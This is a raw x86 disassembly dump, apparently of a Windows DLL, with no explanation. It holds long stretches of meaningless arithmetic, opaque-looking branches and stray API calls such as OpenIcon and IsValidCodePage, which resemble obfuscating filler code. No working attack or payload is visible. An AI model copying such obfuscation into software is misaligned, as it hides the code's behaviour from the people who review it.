sub ecx, eax
mov dword [0x100a2104], ecx
jmp 0x100327fb
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
push 0x89f91
push 0x4bd64f2e
push eax
push edx
call fcn.10073ef0
mov ecx, eax
mov eax, dword [ebp - 0x28]
cdq
sub eax, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x40], 0xd884
mov eax, dword [0x100a2120]
cdq
mov edx, dword [0x100a2148]
mov ecx, dword [0x100a214c]
mov dword [ebp - 0xd34], ecx
sub eax, edx
mov dword [0x100a2120], eax
mov edx, dword [ebp - 0x1dc]
add edx, 0x64a
mov dword [ebp - 0x660], edx
movzx eax, word [0x100a2118]
test eax, eax
je 0x10032ae7
movzx ecx, word [0x100a211c]
test ecx, ecx
jne 0x1003284e
cmp dword [ebp - 0x1c], 0
jne 0x10032839
mov dword [ebp - 0x354], 1
jmp 0x10032843
mov dword [ebp - 0x354], 0
mov edx, dword [ebp - 0x4c]
cmp dword [ebp - 0x354], edx
jne 0x10032881
mov eax, dword [0x100a2120]
cmp dword [0x100a2128], eax
jle 0x10032867
mov dword [ebp - 0x358], 1
jmp 0x10032871
mov dword [ebp - 0x358], 0
movzx ecx, word [ebp - 0x10]
cmp ecx, dword [ebp - 0x358]
jl 0x10032a74
movsx edx, word [ebp - 0xc]
test edx, edx
je 0x100328f3
movzx eax, word [0x100a2138]
cdq
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0xd38], edx
add eax, ecx
mov word [0x100a2138], ax
movzx eax, byte [0x100a207b]
cdq
mov ecx, eax
add ecx, dword [0x100a20d0]
movzx eax, byte [0x100a207b]
cdq
and eax, ecx
mov byte [0x100a207b], al
movzx edx, word [ebp - 0x10]
mov eax, dword [0x100a20e4]
sub eax, edx
mov ecx, dword [0x100a20e4]
sub ecx, eax
mov dword [0x100a20e4], ecx
movzx eax, word [ebp - 0x14]
cdq
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
jmp 0x10032a72
movsx edx, byte [0x100a2027]
test edx, edx
je 0x100329f6
movsx eax, word [ebp - 0xc]
cdq
mov ecx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov ecx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [0x100a20e8], eax
mov dword [0x100a20ec], edx
mov edx, dword [ebp - 0x1c]
add edx, 0xab
mov word [0x100a2138], dx
movzx eax, byte [0x100a207a]
cdq
push 0x1f55b
push 0x35a04d96
push edx
push eax
call fcn.10073ef0
mov word [0x100a20f0], ax
mov eax, dword [0x100a2100]
not eax
movzx ecx, byte [ebp - 2]
imul eax, ecx
mov dword [ebp - 0x40], eax
movzx edx, byte [str.HeapSize]
test edx, edx
jne 0x10032993
mov dword [ebp - 0x35c], 1
jmp 0x1003299d
mov dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x35c]
mov ecx, eax
xor esi, esi
mov eax, dword [0x100a2128]
cdq
mov edi, 0x6696eea8
sub edi, eax
mov eax, 0xb5c49
sbb eax, edx
sub ecx, edi
sbb esi, eax
movzx edx, byte [str.HeapSize]
mov eax, dword [ebp - 0x2c]
not eax
or edx, eax
movzx eax, word [0x100a2118]
sub edx, eax
xor eax, eax
push eax
push edx
push esi
push ecx
call fcn.10073ef0
mov dword [0x100a2128], eax
mov cx, word [0x100a2c3c]
mov word [ebp - 0x10], cx
jmp 0x10032a72
mov edx, dword [ebp - 0x64]
xor eax, eax
mov ecx, dword [0x100a2130]
mov esi, dword [0x100a2134]
not ecx
not esi
mov dword [ebp - 0xa24], edx
mov dword [ebp - 0xa20], eax
mov dword [ebp - 0xa2c], ecx
mov dword [ebp - 0xa28], esi
mov edx, dword [ebp - 0xa24]
cmp edx, dword [ebp - 0xa2c]
jne 0x10032a3f
mov eax, dword [ebp - 0xa20]
cmp eax, dword [ebp - 0xa28]
je 0x10032a72
movzx ecx, byte [0x100a207b]
sub ecx, 0x5d1aa1dc
mov dword [0x100a2120], ecx
xor edx, edx
mov dword [ebp - 0x60], 0x4982f6c2
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0xd90], ecx
add eax, 0x91a3
mov byte [ebp - 2], al
jmp 0x10032ae5
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
mov dword [ebp - 0xa34], edx
mov dword [ebp - 0xa30], eax
cmp dword [ebp - 0xa30], 0x4cf3c
ja 0x10032ae5
jb 0x10032aa5
cmp dword [ebp - 0xa34], 0xfbd904ab
ja 0x10032ae5
push 0xeb5dd
push 0x4376cb37
mov ecx, dword [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x34]
push edx
call fcn.10073ef0
mov byte [ebp - 3], al
mov al, byte [ebp - 0x48]
mov ecx, 1
imul edx, ecx, 0xa6ea
mov byte [edx + 0x102c8600], al
movzx eax, byte [ebp - 1]
mov ecx, dword [ebp - 0x58]
and ecx, eax
mov edx, dword [ebp - 0x58]
imul edx, ecx
mov dword [ebp - 0x58], edx
jmp 0x10032b3b
movzx eax, word [0x100a2118]
cdq
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x20]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], esi
mov ecx, dword [0x100a2108]
mov edx, dword [0x100a210c]
mov dword [ebp - 0xd94], edx
and ecx, 0xbf6c67f9
mov eax, dword [0x100a20f4]
cdq
add eax, ecx
mov dword [0x100a20f4], eax
mov dword [ebp - 0x3c], 8
movsx eax, byte [0x100a2027]
cdq
sub eax, 0x7eb67977
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x118]
add eax, 0x31a
mov ecx, dword [ebp - 0x118]
add ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0x118]
add edx, dword [ebp - 0x660]
imul ecx, edx
cmp eax, ecx
je 0x1003687b
mov byte [0x100a207b], 1
mov eax, dword [0x100a2c3c]
mov dword [0x100a2120], eax
mov ecx, 8
shl ecx, 0
mov dx, word [ecx + 0x102b7708]
mov word [0x100a20e0], dx
movzx eax, word [ebp - 0x10]
movsx ecx, word [ebp - 0xc]
add eax, dword [0x100a2100]
add ecx, eax
not ecx
mov edx, dword [ebp - 0x60]
add edx, 0xa93b
mov eax, dword [ebp - 0x18]
add eax, dword [0x100a2140]
sub edx, eax
not edx
add ecx, edx
not ecx
mov dword [0x100a20e4], ecx
movsx ecx, word [0x100a20f0]
sub ecx, 0x66a8865b
imul ecx, dword [ebp - 0x18]
mov dword [ebp - 0x18], ecx
mov dl, byte [0x100a207b]
mov byte [ebp - 0x360], dl
cmp byte [ebp - 0x360], 0
je 0x10032bfd
cmp byte [ebp - 0x360], 1
je 0x10032c84
jmp 0x10032d19
movzx eax, word [0x100a2118]
movzx ecx, word [0x100a211c]
sub eax, ecx
mov word [0x100a2118], ax
movzx edx, word [0x100a2138]
movzx eax, word [ebp - 0x14]
sub edx, eax
imul ecx, edx, 0xe4
test ecx, ecx
jne 0x10032c36
mov dword [ebp - 0x364], 1
jmp 0x10032c40
mov dword [ebp - 0x364], 0
movsx edx, byte [str.y4The_server_is_requ]
mov eax, dword [ebp - 0x364]
sub eax, edx
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
push esi
push eax
push edx
push ecx
call fcn.10073ef0
mov dword [ebp - 0x2c], eax
movzx ecx, byte [ebp - 3]
mov edx, dword [ebp - 0x64]
sub edx, ecx
mov eax, dword [ebp - 0x64]
sub eax, edx
mov dword [ebp - 0x64], eax
jmp 0x10032d19
movzx eax, word [0x100a2124]
cdq
xor eax, dword [ebp - 0x48]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x18], 0
jne 0x10032cac
xor ecx, ecx
mov dword [ebp - 0x590], 1
mov dword [ebp - 0x58c], ecx
jmp 0x10032cb7
xorps xmm0, xmm0
movlpd qword [ebp - 0x590], xmm0
movsx eax, byte [0x100a203b]
mov edx, dword [0x100a2120]
not edx
imul eax, edx
xor eax, dword [0x100a2128]
cdq
mov esi, eax
mov ecx, dword [ebp - 0x590]
add ecx, dword [ebp - 0x48]
mov edi, dword [ebp - 0x58c]
adc edi, dword [ebp - 0x44]
movsx eax, byte [0x100a2027]
sub eax, dword [ebp - 0x1c]
cdq
push edx
push eax
push edi
push ecx
call fcn.10073ef0
sub esi, eax
mov dword [ebp - 0x18], esi
mov edx, dword [ebp - 0x3c]
sub edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
add eax, edx
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x2c]
add ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x2c]
sub edx, ecx
mov dword [ebp - 0x2c], edx
mov byte [0x100a2027], 0x86
mov eax, dword [0x100a2100]
push eax
call dword [sym.imp.USER32.dll_OpenIcon]
mov word [ebp - 0x10], ax
movsx ecx, byte [0x100a2027]
movzx edx, byte [ebp - 2]
add edx, 1
cmp ecx, edx
jne 0x10033693
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [0x100a20dc], eax
cmp dword [0x100a20dc], 0
jae 0x10032d66
mov dword [ebp - 0x368], 1
jmp 0x10032d70
mov dword [ebp - 0x368], 0
cmp dword [0x100a20dc], 0x35
jae 0x10032d85
mov dword [ebp - 0x36c], 1
jmp 0x10032d8f
mov dword [ebp - 0x36c], 0
mov eax, dword [ebp - 0x368]
cmp eax, dword [ebp - 0x36c]
jl 0x10032f17
cmp dword [ebp - 0x4c], 0
je 0x10032e5a
movzx ecx, word [ebp - 8]
mov dword [ebp - 0x3c], ecx
movzx eax, byte [ebp - 2]
cdq
push edx
push eax
mov edx, dword [ebp - 0x44]
push edx
mov eax, dword [ebp - 0x48]
push eax
call fcn.10073ef0
not eax
mov word [ebp - 0x14], ax
movzx ecx, byte [0x100a207b]
movsx edx, word [ebp - 0xc]
imul ecx, edx
mov word [ebp - 0x10], cx
mov eax, dword [0x100a20e8]
mov ecx, dword [0x100a20ec]
mov dword [ebp - 0xa3c], eax
mov dword [ebp - 0xa38], ecx
mov edx, dword [ebp - 0xa3c]
or edx, dword [ebp - 0xa38]
jne 0x10032e17
xor eax, eax
mov dword [ebp - 0xa44], 1
mov dword [ebp - 0xa40], eax
jmp 0x10032e22
xorps xmm0, xmm0
movlpd qword [ebp - 0xa44], xmm0
mov ecx, dword [0x100a20e4]
mov edx, dword [0x100a20f8]
not edx
mov eax, 0x8c3f3b2e
sub eax, edx
sub ecx, eax
xor ecx, dword [ebp - 0xa44]
mov word [ebp - 0xc], cx
movzx ecx, byte [ebp - 3]
movzx edx, byte [ebp - 3]
lea eax, [edx + ecx - 0xb1]
mov byte [ebp - 3], al
jmp 0x10032f12
movzx eax, word [0x100a20e0]
not eax
cdq
mov ecx, dword [ebp - 0x54]
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0xa4c], eax
mov dword [ebp - 0xa48], edx
mov dword [ebp - 0xa54], ecx
mov dword [ebp - 0xa50], esi
mov edx, dword [ebp - 0xa48]
cmp edx, dword [ebp - 0xa50]
ja 0x10032eac
jb 0x10032ea0
mov eax, dword [ebp - 0xa4c]
cmp eax, dword [ebp - 0xa54]
ja 0x10032eac
mov dword [ebp - 0x370], 1
jmp 0x10032eb6
mov dword [ebp - 0x370], 0
mov ecx, dword [ebp - 0x370]
not ecx
test ecx, ecx
je 0x10032f12
mov edx, 1
imul eax, edx, 0xe1b
movsx eax, byte [eax + 0x102dfbc0]
cdq
mov dword [0x100a2130], eax
mov dword [0x100a2134], edx
movzx eax, word [0x100a2124]
cdq
mov ecx, dword [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x34]
push ecx
push edx
push eax
call fcn.10073ef0
mov ecx, eax
mov esi, edx
movzx eax, word [0x100a2124]
cdq
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov word [0x100a2124], ax
jmp 0x1003303d
movzx edx, word [0x100a2124]
cmp edx, dword [0x100a2128]
jl 0x10032f4d
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
movsx ecx, byte [str.y4The_server_is_requ]
imul edx, ecx, 0x900d0f7
mov eax, dword [0x100a2128]
sub eax, edx
mov dword [0x100a2128], eax
jmp 0x1003303d
mov ecx, dword [0x100a2148]
mov edx, dword [0x100a214c]
mov dword [ebp - 0xa5c], ecx
mov dword [ebp - 0xa58], edx
mov eax, dword [ebp - 0xa5c]
or eax, dword [ebp - 0xa58]
je 0x1003303d
movzx eax, word [0x100a2118]
cdq
add eax, 0xd9726ba
mov byte [ebp - 3], al
push 0
push 0x1ad3
mov ecx, dword [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x34]
push edx
call fcn.10073ef0
mov ecx, eax
mov esi, edx
movzx eax, byte [0x100a207a]
cdq
push esi
push ecx
push edx
push eax
call fcn.10073ef0
mov byte [0x100a207a], al
mov edx, dword [0x100a2120]
xor edx, dword [0x100a2100]
imul edx, dword [0x100a2100]
mov dword [0x100a2100], edx
movzx eax, word [0x100a2138]
cdq
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0xd98], edx
add ecx, eax
mov eax, dword [ebp - 0x58]
not eax
movzx edx, word [0x100a211c]
add eax, edx
cdq
add ecx, eax
mov byte [ebp - 2], cl
mov ecx, dword [ebp - 0x34]
not ecx
movzx eax, byte [ebp - 3]
cdq
sub ecx, eax
movzx eax, byte [0x100a207b]
not eax
cdq
mov edx, dword [ebp - 0x34]
not edx
add eax, edx
sub ecx, eax
movsx eax, word [0x100a20c8]
movzx edx, word [0x100a2124]
imul eax, edx
movsx edx, word [0x100a2110]
movzx esi, word [ebp - 0x10]
sub edx, esi
sub eax, edx
cdq
add ecx, eax
mov dword [ebp - 0x28], ecx
xor eax, eax
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x34]
sub ecx, 0xf3cd7c58
mov dword [0x100a20f4], ecx
mov edx, dword [0x100a2108]
mov eax, dword [0x100a210c]
push 0
push 0xf6b2139
push eax
push edx
call fcn.10073ef0
mov dword [0x100a20e8], eax
mov dword [0x100a20ec], edx
movsx eax, word [ebp - 0xc]
cdq
add eax, 0x7aa16b55
mov dword [0x100a2100], eax
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x598], ecx
mov dword [ebp - 0x594], edx
cmp dword [ebp - 0x594], 0
ja 0x1003328f
jb 0x100330b9
cmp dword [ebp - 0x598], 3
ja 0x1003328f
mov eax, dword [ebp - 0x598]
mov dword [ebp - 0xd88], eax
mov ecx, dword [ebp - 0xd88]
jmp dword [ecx*4 + 0x10037b00]
movsx eax, word [0x100a20c8]
cmp eax, 1
jne 0x10033693
movsx ecx, byte [0x100a203b]
movzx edx, word [0x100a211c]
cmp ecx, edx
jl 0x10033632
mov byte [0x100a2027], 0x86
movzx ecx, word [0x100a2138]
imul edx, ecx, 0xed1
mov byte [0x100a207b], dl
mov eax, dword [ebp - 0x28]
sub eax, 0x6810f4cb
xor ecx, ecx
mov dword [0x100a20d0], eax
mov dword [0x100a20d4], ecx
mov edx, dword [ebp - 0x60]
sub edx, 0xbb981a82
mov word [ebp - 8], dx
mov eax, dword [0x100a20e4]
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov byte [ebp - 2], al
movzx ecx, byte [ebp - 2]
test ecx, ecx
jg 0x1003376e
mov dword [ebp - 0x19c], 0
jmp 0x10033705
mov edx, dword [ebp - 0x19c]
add edx, 1
mov dword [ebp - 0x19c], edx
cmp dword [ebp - 0x19c], 0x165
jge 0x10033769
mov eax, dword [ebp - 0x38]
cdq
push 0x16649
push 0x7fe1bb53
push edx
push eax
call fcn.10073ef0
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x38]
cdq
mov ecx, dword [0x100a2108]
mov esi, dword [0x100a210c]
sub ecx, eax
sbb esi, edx
movsx eax, word [0x100a20c8]
cdq
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [0x100a2104], eax
mov dl, byte [ebp - 0x48]
mov byte [ebp - 2], dl
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
jmp 0x100336f6
jmp 0x10033920
movzx ecx, word [ebp - 0x10]
cmp dword [ebp - 0x4c], ecx
jl 0x10033863
movzx edx, byte [0x100a207b]
not edx
add edx, dword [0x100a2128]
sub edx, dword [ebp - 0x28]
jne 0x100337a3
xor eax, eax
mov dword [ebp - 0x5a8], 1
mov dword [ebp - 0x5a4], eax
jmp 0x100337ae
xorps xmm0, xmm0
movlpd qword [ebp - 0x5a8], xmm0
movzx eax, byte [ebp - 1]
movsx ecx, byte [0x100a2027]
sub eax, ecx
cdq
mov esi, eax
mov edi, edx
mov edx, dword [ebp - 0x64]
xor eax, eax
mov ecx, dword [ebp - 0x24]
mov ebx, dword [ebp - 0x20]
push eax
push edx
push ebx
push ecx
call fcn.10073ef0
add esi, eax
adc edi, edx
add esi, dword [ebp - 0x5a8]
adc edi, dword [ebp - 0x5a4]
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], edi
movzx edx, word [0x100a211c]
movsx eax, byte [str.y4The_server_is_requ]
imul edx, eax
mov ecx, dword [ebp - 0x3c]
not ecx
movzx eax, byte [ebp - 3]
sub ecx, eax
not ecx
xor edx, ecx
mov byte [str.HeapSize], dl
mov ecx, dword [ebp - 0x2c]
xor edx, edx
push 0xf0cca
push 0x8c42b393
push edx
push ecx
call fcn.10073ef0
mov ecx, eax
movzx eax, word [ebp - 0x14]
cdq
add eax, ecx
mov word [ebp - 0x14], ax
mov edx, dword [ebp - 0x64]
sub edx, 0xcb
imul edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, 1
imul ecx, eax, 0x1138
movsx edx, byte [ecx + 0x102dfbc0]
movzx eax, byte [ebp - 3]
sub eax, edx
mov byte [ebp - 3], al
jmp 0x10033920
movzx ecx, word [ebp - 0x14]
cmp ecx, dword [ebp - 0x3c]
jb 0x10033878
mov dword [ebp - 0x390], 1
jmp 0x10033882
mov dword [ebp - 0x390], 0
movzx edx, byte [0x100a207b]
test edx, edx
jne 0x10033899
mov dword [ebp - 0x38c], 1
jmp 0x100338a3
mov dword [ebp - 0x38c], 0
movzx eax, byte [ebp - 1]
cmp eax, dword [ebp - 0x38c]
je 0x100338bb
mov dword [ebp - 0x394], 1
jmp 0x100338c5
mov dword [ebp - 0x394], 0
mov ecx, dword [ebp - 0x390]
cmp ecx, dword [ebp - 0x394]
jne 0x10033920
push 0
push 0x35a4
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x60]
push eax
call fcn.10073ef0
mov word [0x100a211c], ax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
push 0
push 0x833
push edx
push ecx
call fcn.10073ef0
mov byte [str.y4The_server_is_requ], al
movzx eax, word [0x100a2124]
sub eax, dword [ebp - 0x58]
movzx ecx, word [0x100a2124]
sub ecx, eax
mov word [0x100a2124], cx
mov edx, dword [ebp - 0x11c]
imul edx, dword [ebp - 0x11c]
and edx, dword [ebp - 0x11c]
cmp edx, dword [ebp - 0x11c]
je 0x1003687b
cmp dword [0x100a2120], 0
jne 0x10033954
jmp 0x10036ff4
movzx eax, byte [ebp - 2]
sar eax, 3
cdq
mov dword [0x100a2150], eax
mov dword [0x100a2154], edx
mov ax, word [0x100a20d0]
mov ecx, 2
imul edx, ecx, 0x21
mov word [edx + 0x102c1ba8], ax
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0xc68], ecx
add eax, 0x8d096013
mov byte [0x100a2027], al
xor edx, edx
mov dword [0x100a20e8], 0x69
mov dword [0x100a20ec], edx
mov eax, dword [0x100a20d8]
mov ecx, dword [0x100a2150]
mov edx, dword [0x100a2154]
mov dword [ebp - 0xc6c], edx
not ecx
add eax, ecx
mov dword [ebp - 0x18], eax
movzx eax, byte [ebp - 3]
movzx ecx, byte [0x100a207a]
imul eax, ecx
movzx edx, byte [ebp - 3]
sub edx, eax
mov byte [ebp - 3], dl
mov eax, 1
imul ecx, eax, 0x6d
movsx eax, byte [ecx + 0x102f2b18]
cdq
mov ecx, dword [0x100a20e8]
mov esi, dword [0x100a20ec]
push edx
push eax
push esi
push ecx
call fcn.10073ef0
mov dword [0x100a20e8], eax
mov dword [0x100a20ec], edx
mov edx, dword [0x100a20e8]
mov eax, dword [0x100a20ec]
mov dword [ebp - 0xc70], eax
add edx, 0x2d
mov byte [str.HeapSize], dl
mov dword [ebp - 0x2c], 0x1621eb88
movsx eax, word [0x100a20f0]
not eax
cdq
mov ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x30]
sbb esi, dword [ebp - 0x44]
not ecx
not esi
sub eax, ecx
sbb edx, esi
xor ecx, ecx
sub eax, dword [ebp - 0x3c]
sbb edx, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov eax, dword [0x100a2128]
cdq
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0x28]
cdq
mov edi, dword [0x100a20e8]
mov ebx, dword [0x100a20ec]
add edi, eax
adc ebx, edx
mov dword [ebp - 0xb74], ecx
mov dword [ebp - 0xb70], esi
mov dword [ebp - 0xb7c], edi
mov dword [ebp - 0xb78], ebx
mov edx, dword [ebp - 0xb74]
cmp edx, dword [ebp - 0xb7c]
jne 0x10036e8d
mov eax, dword [ebp - 0xb70]
cmp eax, dword [ebp - 0xb78]
jne 0x10036e8d
cmp dword [0x100a2104], 0
jne 0x100369f0
mov dword [ebp - 0x43c], 1
jmp 0x100369fa
mov dword [ebp - 0x43c], 0
mov ecx, dword [ebp - 0x18]
not ecx
add ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x43c]
sub edx, dword [0x100a2120]
add ecx, edx
mov byte [ebp - 3], cl
movsx eax, byte [0x100a203b]
mov ecx, dword [0x100a2120]
imul ecx, eax
mov edx, dword [0x100a2120]
imul edx, ecx
mov dword [0x100a2120], edx
movzx eax, byte [ebp - 2]
mov dword [ebp - 0x64], eax
mov ecx, dword [0x100a2c3c]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x58], 0
je 0x10036aba
mov edx, dword [ebp - 0x40]
xor edx, 0x7311f32
mov dword [ebp - 0x40], edx
movsx eax, word [0x100a20c8]
add eax, 0xe882b6b
cdq
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x3c]
xor eax, 0x66f55af5
mov byte [0x100a203b], al
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
xor ecx, 0x56
xor edx, 0
mov dword [0x100a20e8], ecx
mov dword [0x100a20ec], edx
movzx eax, byte [ebp - 1]
xor eax, 0xdc313efa
movsx ecx, word [0x100a2110]
imul ecx, eax
mov word [0x100a2110], cx
movzx edx, word [ebp - 0x10]
imul eax, edx, 0xad1
mov byte [str.HeapSize], al
jmp 0x10036c9d
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0xb84], ecx
mov dword [ebp - 0xb80], edx
mov eax, dword [ebp - 0xb84]
or eax, dword [ebp - 0xb80]
je 0x10036bc6
mov ecx, dword [ebp - 0x18]
imul ecx, dword [0x100a2128]
and ecx, dword [ebp - 0x18]
mov dword [ebp - 0x18], ecx
xor edx, edx
mov dword [0x100a2108], 0x73
mov dword [0x100a210c], edx
movzx eax, byte [0x100a207b]
test eax, eax
je 0x10036b17
movzx ecx, byte [ebp - 1]
mov dword [ebp - 0x440], ecx
jmp 0x10036b23
mov edx, dword [0x100a2120]
mov dword [ebp - 0x440], edx
mov eax, dword [ebp - 0x440]
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x18], eax
mov cl, byte [0x100a2c3c]
mov byte [ebp - 1], cl
cmp dword [ebp - 0x3c], 0
jne 0x10036b51
mov dword [ebp - 0x444], 1
jmp 0x10036b5b
mov dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x444]
cdq
mov ecx, dword [0x100a2140]
not ecx
mov esi, dword [0x100a2144]
not esi
add ecx, dword [0x100a20d0]
adc esi, dword [0x100a20d4]
sub eax, ecx
sbb edx, esi
mov dword [ebp - 0xb8c], eax
mov dword [ebp - 0xb88], edx
mov edx, dword [ebp - 0xb8c]
or edx, dword [ebp - 0xb88]
jne 0x10036baa
mov eax, 1
mov word [ebp - 0xa2], ax
jmp 0x10036bb3
xor ecx, ecx
mov word [ebp - 0xa2], cx
mov dx, word [ebp - 0xa2]
mov word [0x100a2138], dx
jmp 0x10036c9d
movsx eax, word [0x100a20f0]
test eax, eax
je 0x10036c9d
movzx ecx, word [0x100a211c]
imul edx, ecx, 0x52b5820b
test edx, edx
jne 0x10036bf2
mov dword [ebp - 0x448], 1
jmp 0x10036bfc
mov dword [ebp - 0x448], 0
movzx eax, word [ebp - 8]
mov ecx, dword [ebp - 0x38]
add eax, dword [ebp - 0x448]
add eax, ecx
cdq
mov ecx, eax
mov esi, edx
movsx eax, word [ebp - 0xc]
not eax
movzx edx, byte [ebp - 1]
sub eax, edx
cdq
mov edi, eax
mov ebx, edx
movzx eax, word [ebp - 0x10]
cdq
add eax, dword [ebp - 0x48]
adc edx, dword [ebp - 0x44]
sub edi, eax
sbb ebx, edx
add ecx, edi
adc esi, ebx
mov dword [ebp - 0xb94], ecx
mov dword [ebp - 0xb90], esi
mov eax, dword [ebp - 0xb94]
or eax, dword [ebp - 0xb90]
jne 0x10036c5c
mov ecx, 1
mov word [ebp - 0xa4], cx
jmp 0x10036c65
xor edx, edx
mov word [ebp - 0xa4], dx
mov ax, word [ebp - 0xa4]
mov word [0x100a2124], ax
mov ecx, dword [ebp - 0x60]
not ecx
mov dword [0x100a20dc], ecx
mov eax, dword [ebp - 0x28]
cdq
mov ecx, dword [0x100a2148]
mov esi, dword [0x100a214c]
sub ecx, eax
sbb esi, edx
mov dword [0x100a2148], ecx
mov dword [0x100a214c], esi
mov ecx, dword [0x100a2100]
xor esi, esi
mov eax, dword [ebp - 0x38]
cdq
add eax, 0x5d78a11
adc edx, 0xb103f
mov dword [ebp - 0xb9c], ecx
mov dword [ebp - 0xb98], esi
mov dword [ebp - 0xba4], eax
mov dword [ebp - 0xba0], edx
mov edx, dword [ebp - 0xb9c]
cmp edx, dword [ebp - 0xba4]
jne 0x10036e8d
mov eax, dword [ebp - 0xb98]
cmp eax, dword [ebp - 0xba0]
jne 0x10036e8d
movzx ecx, byte [ebp - 3]
movsx edx, word [0x100a20c8]
cmp ecx, edx
je 0x10036d90
mov dword [ebp - 0x1c0], 0x390
jmp 0x10036d1e
mov eax, dword [ebp - 0x1c0]
sub eax, 1
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0
jle 0x10036d8b
mov ecx, 0x1e
mov word [ebp - 0x14], cx
imul edx, dword [ebp - 0x1c], 0xf74520b6
mov eax, dword [0x100a20d8]
sub eax, edx
mov dword [0x100a20d8], eax
mov cx, word [ebp - 0x48]
mov word [0x100a20e0], cx
mov edx, dword [ebp - 0x1c]
not edx
sub edx, dword [ebp - 0x40]
xor eax, eax
mov ecx, dword [0x100a2140]
add ecx, 0x73e6566d
mov esi, dword [0x100a2144]
adc esi, 0x2f373
sub edx, ecx
sbb eax, esi
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], eax
mov dl, byte [0x100a203b]
add dl, 1
mov byte [0x100a203b], dl
jmp 0x10036d0f
jmp 0x10036e47
movsx eax, word [0x100a20f0]
cdq
mov ecx, dword [ebp - 0x48]
sub ecx, eax
mov eax, dword [ebp - 0x44]
sbb eax, edx
mov edx, dword [ebp - 0x48]
sub edx, ecx
mov ecx, dword [ebp - 0x44]
sbb ecx, eax
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x40]
xor edx, 0xce80
movzx eax, byte [str.HeapSize]
sub eax, edx
mov byte [str.HeapSize], al
mov ecx, dword [0x100a20f8]
sub ecx, 0x215cd16d
movzx eax, byte [0x100a207b]
cdq
sub eax, ecx
mov byte [0x100a207b], al
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xbac], edx
mov dword [ebp - 0xba8], eax
mov ecx, dword [ebp - 0xbac]
or ecx, dword [ebp - 0xba8]
je 0x10036e13
movsx edx, byte [0x100a203b]
mov dword [ebp - 0x44c], edx
jmp 0x10036e1d
movzx eax, word [ebp - 0x14]
mov dword [ebp - 0x44c], eax
mov cl, byte [ebp - 0x44c]
mov byte [0x100a2027], cl
mov edx, dword [0x100a2130]
mov eax, dword [0x100a2134]
push 0
push 0xc4
push eax
push edx
call fcn.10073ef0
mov dword [0x100a20e4], eax
jmp 0x100368be
movzx edx, byte [ebp - 3]
cmp edx, dword [0x100a20dc]
jbe 0x10036ea5
mov dword [ebp - 0x450], 1
jmp 0x10036eaf
mov dword [ebp - 0x450], 0
movzx eax, byte [ebp - 3]
cmp eax, 0x1f
jle 0x10036ec4
mov dword [ebp - 0x454], 1
jmp 0x10036ece
mov dword [ebp - 0x454], 0
mov ecx, dword [ebp - 0x450]
cmp ecx, dword [ebp - 0x454]
jle 0x10036efa
mov eax, dword [ebp - 0x38]
